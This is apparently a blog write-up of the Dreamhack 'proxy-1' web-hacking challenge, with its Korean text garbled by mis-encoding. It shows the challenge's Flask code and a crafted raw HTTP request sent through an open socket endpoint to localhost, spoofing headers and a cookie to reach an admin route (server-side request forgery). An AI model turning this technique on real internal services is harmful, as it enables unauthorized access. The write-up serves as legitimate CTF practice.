https://dreamhack.io/wargame/challenges/13
proxy-1
Raw Socket Sender๊ฐ ๊ตฌํ๋ ์๋น์ค์ ๋๋ค. ์๊ตฌํ๋ ์กฐ๊ฑด์ ๋ง์ถฐ ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์. ํ๋๊ทธ๋ flag.txt, FLAG ๋ณ์์ ์์ต๋๋ค. Reference Introduction of Webhacking
dreamhack.io
๋ฌธ์ ์ค๋ช
Raw Socket Sender๊ฐ ๊ตฌํ๋ ์๋น์ค์
๋๋ค.
์๊ตฌํ๋ ์กฐ๊ฑด์ ๋ง์ถฐ ํ๋๊ทธ๋ฅผ ํ๋ํ์ธ์. ํ๋๊ทธ๋ flag.txt, FLAG ๋ณ์์ ์์ต๋๋ค.
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/socket', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('socket.html')
elif request.method == 'POST':
host = request.form.get('host')
port = request.form.get('port', type=int)
data = request.form.get('data')
retData = ""
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(3)
s.connect((host, port))
s.sendall(data.encode())
while True:
tmpData = s.recv(1024)
retData += tmpData.decode()
if not tmpData: break
except Exception as e:
return render_template('socket_result.html', data=e)
return render_template('socket_result.html', data=retData)
@app.route('/admin', methods=['POST'])
def admin():
if request.remote_addr != '127.0.0.1':
return 'Only localhost'
if request.headers.get('User-Agent') != 'Admin Browser':
return 'Only Admin Browser'
if request.headers.get('DreamhackUser') != 'admin':
return 'Only Admin'
if request.cookies.get('admin') != 'true':
return 'Admin Cookie'
if request.form.get('userid') != 'admin':
return 'Admin id'
return FLAG
app.run(host='0.0.0.0', port=8000)
ํ์ด
๋ญ์ง ๋ชจ๋ฅด๊ฒ ๋ค!
GPT์ ๋์์ ๋ฐ์ ๋ณธ ํผ์์ data๋ถ๋ถ์ HTTP๋ฉ์ธ์ง๋ฅผ ์ ๋ ฅํ๋ฉด ๋๋ค๋ ๊ฑธ ์๊ฒ ๋์๋ค
/socket ๊ฒฝ๋ก๋ POST ์์ฒญ์ ํตํด ํธ์คํธ ๋ฐ ํฌํธ๋ฅผ ์ง์ ํ๊ณ ๋ฐ์ดํฐ๋ฅผ ๋ณด๋ผ ์ ์๋ ๊ธฐ๋ฅ์ ์ ๊ณตํฉ๋๋ค. ๋จ์ํ ์ด๋ค ๋ฐ์ดํฐ๋ฅผ ๋ณด๋ด๋ ๊ฒ์ ์ฌ์ฉ ์ฌ๋ก ๋ฐ ํด๋น ์๋ฒ์์ ์ง์ํ๋ ํ๋กํ ์ฝ ๋ฐ ์๋น์ค์ ๋ฐ๋ผ ๋ค๋ฅผ ์ ์์ต๋๋ค. ์ผ๋ฐ์ ์ผ๋ก ๋ค์๊ณผ ๊ฐ์ ์์๋ก ์๋ํฉ๋๋ค:
1. **Host**: ์๊ฒฉ ํธ์คํธ์ IP ์ฃผ์๋ ๋๋ฉ์ธ ์ด๋ฆ์ ์ ๋ ฅํฉ๋๋ค.
2. **Port**: ํธ์คํธ์ ์ฐ๊ฒฐํ ํฌํธ ๋ฒํธ๋ฅผ ์ ๋ ฅํฉ๋๋ค. ์๋ฅผ ๋ค์ด, ์น ์๋ฒ์ ๊ฒฝ์ฐ 80 (HTTP) ๋๋ 443 (HTTPS) ํฌํธ๊ฐ ์ผ๋ฐ์ ์ ๋๋ค. ๋ค๋ฅธ ์๋น์ค์ ๊ฒฝ์ฐ ํด๋น ํฌํธ ๋ฒํธ๋ฅผ ํ์ธํด์ผ ํฉ๋๋ค.
3. **Data**: ๋ณด๋ด๋ ค๋ ๋ฐ์ดํฐ๋ฅผ ์ ๋ ฅํฉ๋๋ค. ๋ฐ์ดํฐ ํ์ ๋ฐ ๋ด์ฉ์ ์๋น์ค์ ๋ฐ๋ผ ๋ค๋ฅผ ์ ์์ผ๋ฉฐ, ๋ฐ์ดํฐ๋ฅผ ๋ฌธ์์ด๋ก ์ ๋ ฅํด์ผ ํฉ๋๋ค.
์๋ฅผ ๋ค์ด, HTTP GET ์์ฒญ์ ์ํํ๋ ค๋ฉด ๋ค์๊ณผ ๊ฐ์ด ํ ์ ์์ต๋๋ค:
- Host: ์น ์๋ฒ์ IP ์ฃผ์ ๋๋ ๋๋ฉ์ธ ์ด๋ฆ
- Port: 80 (HTTP) ๋๋ 443 (HTTPS)
- Data: HTTP GET ์์ฒญ ๋ฉ์์ง (์: "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
์ด ์ฝ๋๋ ์ ๋ ฅ๋ ํธ์คํธ์ ํฌํธ๋ก ์์ผ ์ฐ๊ฒฐ์ ์๋ํ๊ณ , ์ ๋ ฅ๋ ๋ฐ์ดํฐ๋ฅผ ํด๋น ์์ผ์ ํตํด ๋ณด๋ด๊ณ , ๊ทธ์ ๋ํ ์๋ต์ ๋ฐ์์ ๋ฐํํฉ๋๋ค. ๋ฐ๋ผ์ ๋ฐ์ดํฐ๋ ์๋ฒ์๊ฒ ์ด๋ค ์์ ์ ์ํํ๋๋ก ์ง์ํ๊ธฐ ์ํ ๋ฐ์ดํฐ์ฌ์ผ ํฉ๋๋ค. ์๋ฒ๊ฐ ์ด๋ค ์ข ๋ฅ์ ์์ฒญ์ ์์ํ๋์ง์ ๋ฐ๋ผ ๋ฐ์ดํฐ๋ฅผ ์์ฑํด์ผ ํฉ๋๋ค.
๊ทธ๋ ๋ค๋ฉด ๋ฌธ์ ์ ์๋ ์กฐ๊ฑด์ ๋ง๊ฒ ๋ฐ์ดํฐ๋ฅผ ์์ฑํด๋ณด์
@app.route('/admin', methods=['POST'])
def admin():
if request.remote_addr != '127.0.0.1':
return 'Only localhost'
if request.headers.get('User-Agent') != 'Admin Browser':
return 'Only Admin Browser'
if request.headers.get('DreamhackUser') != 'admin':
return 'Only Admin'
if request.cookies.get('admin') != 'true':
return 'Admin Cookie'
if request.form.get('userid') != 'admin':
return 'Admin id'
return FLAG
app.run(host='0.0.0.0', port=8000)
host๋ 127.0.0.1 ์ด๊ณ port๋ 8000์ด๋ค
data๊ฐ๋ ์กฐ๊ฑด์ ๋ง๊ฒ ์์ฑํ๋ค
POST /admin HTTP/1.1
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
userid=admin
Admin id ๋ผ๋ ์๋ฌ๊ฐ ์๊ฒผ๋ค userid=admin ๋ผ๋ ๋ฐ์ดํฐ๋ฅผ ์ ๋๋ก ๋ณด๋ด์ง ๋ชปํ๊ณ ์๋ค
if request.form.get('userid') != 'admin':
return 'Admin id'
request.form.get()์ ์ดํดํ๋ ค๋ฉด ๋ฌธ์ ์ฝ๋์ ์๋ ๋น์ทํ ์ฝ๋๋ฅผ ๋ณด๋ฉด ๋๋ค
@app.route('/socket', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('socket.html')
elif request.method == 'POST':
host = request.form.get('host')
port = request.form.get('port', type=int)
data = request.form.get('data')
/socket post์์ form.get์ด ์๋ํ๊ณ ์์ผ๋ฏ๋ก post /socket ํต์ ์ ์ ์ ์ดํด๋ณด์
host,port,data๊ฐ request.form ํํ๋ก ์ ๋ค์ด๊ฐ ์๋๋ฐ, ์ด ๊ฒฝ์ฐ ํค๋์ Content-Type๊ณผ Content-Length๊ฐ ํฌํจ๋์ด ์๋ค
application/x-www-form-urlencoded: ์ด ํ์์ HTML ํผ์์ ์ฌ์ฉ๋๋ ๊ฒ๊ณผ ์ ์ฌํ ๋ฐฉ์์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ธ์ฝ๋ฉํฉ๋๋ค. ์ฃผ๋ก ์น ์ ํ๋ฆฌ์ผ์ด์
์์ ํผ ๋ฐ์ดํฐ๋ฅผ ์๋ฒ๋ก ์ ์กํ ๋ ์ฌ์ฉ๋ฉ๋๋ค.
application/json: ์ด ํ์์ JSON(JavaScript Object Notation) ํ์์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์กํ ๋ ์ฌ์ฉ๋ฉ๋๋ค. JSON์ ๋ฐ์ดํฐ๋ฅผ ๊ตฌ์กฐํํ๊ณ ํํํ๋ ๋ฐ ๋งค์ฐ ์ผ๋ฐ์ ์ผ๋ก ์ฌ์ฉ๋ฉ๋๋ค.
application/xml: ์ด ํ์์ XML(Extensible Markup Language) ํ์์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์กํ ๋ ์ฌ์ฉ๋ฉ๋๋ค. XML์ ๊ตฌ์กฐํ๋ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๊ณ ๊ตํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
text/plain: ์ด ํ์์ ํ
์คํธ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ ๋ ์ฌ์ฉ๋ฉ๋๋ค. ํน๋ณํ ๊ตฌ์กฐํ ์์ด ์ผ๋ฐ ํ
์คํธ๋ฅผ ์ ๋ฌํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค.
multipart/form-data: ์ด ํ์์ ํ์ผ ์
๋ก๋์ ๊ฐ์ ๊ฒฝ์ฐ์ ์ฌ์ฉ๋ฉ๋๋ค. ํผ ๋ฐ์ดํฐ ๋ฐ ํ์ผ์ ํจ๊ป ์ ์กํ ๋ ์ฌ์ฉ๋ฉ๋๋ค.
๊ทธ๋ ๋ค๋ฉด ๋ฐ์ดํฐ์ ๋ฃ์ post /admin ํต์ ์์๋ request.form.get('userid') ๊ฐ admin์ด ๋ ์ ์๋๋ก Content-Type์ application/x-www-form-urlencoded๋ก ์ ํ๊ณ ๋์์ Content-Length๋ ์ ํด์ฃผ์ (userid=admin ์ด๋ฏ๋ก 12๊ธ์๋ก ๋๋ค)
POST /admin HTTP/1.1
User-Agent:Admin Browser
DreamhackUser:admin
Cookie:admin=true
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
userid=admin
'๐ CTF (Dreamhack) > Web Hacking (์นํดํน)' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] ๋๋ฆผํต ์นํดํน : Flying Chars (2) | 2023.11.03 |
---|---|
[DreamHack] ๋๋ฆผํต ์นํดํน php-1 (1) | 2023.11.02 |
[DreamHack] ๋๋ฆผํต ์นํดํน : session (0) | 2023.09.11 |
[DreamHack] ๋๋ฆผํต ์นํดํน : pathtraversal (0) | 2023.08.14 |
[DreamHack] ๋๋ฆผํต ์นํดํน : ๐ฑ simple-web-request (0) | 2023.08.14 |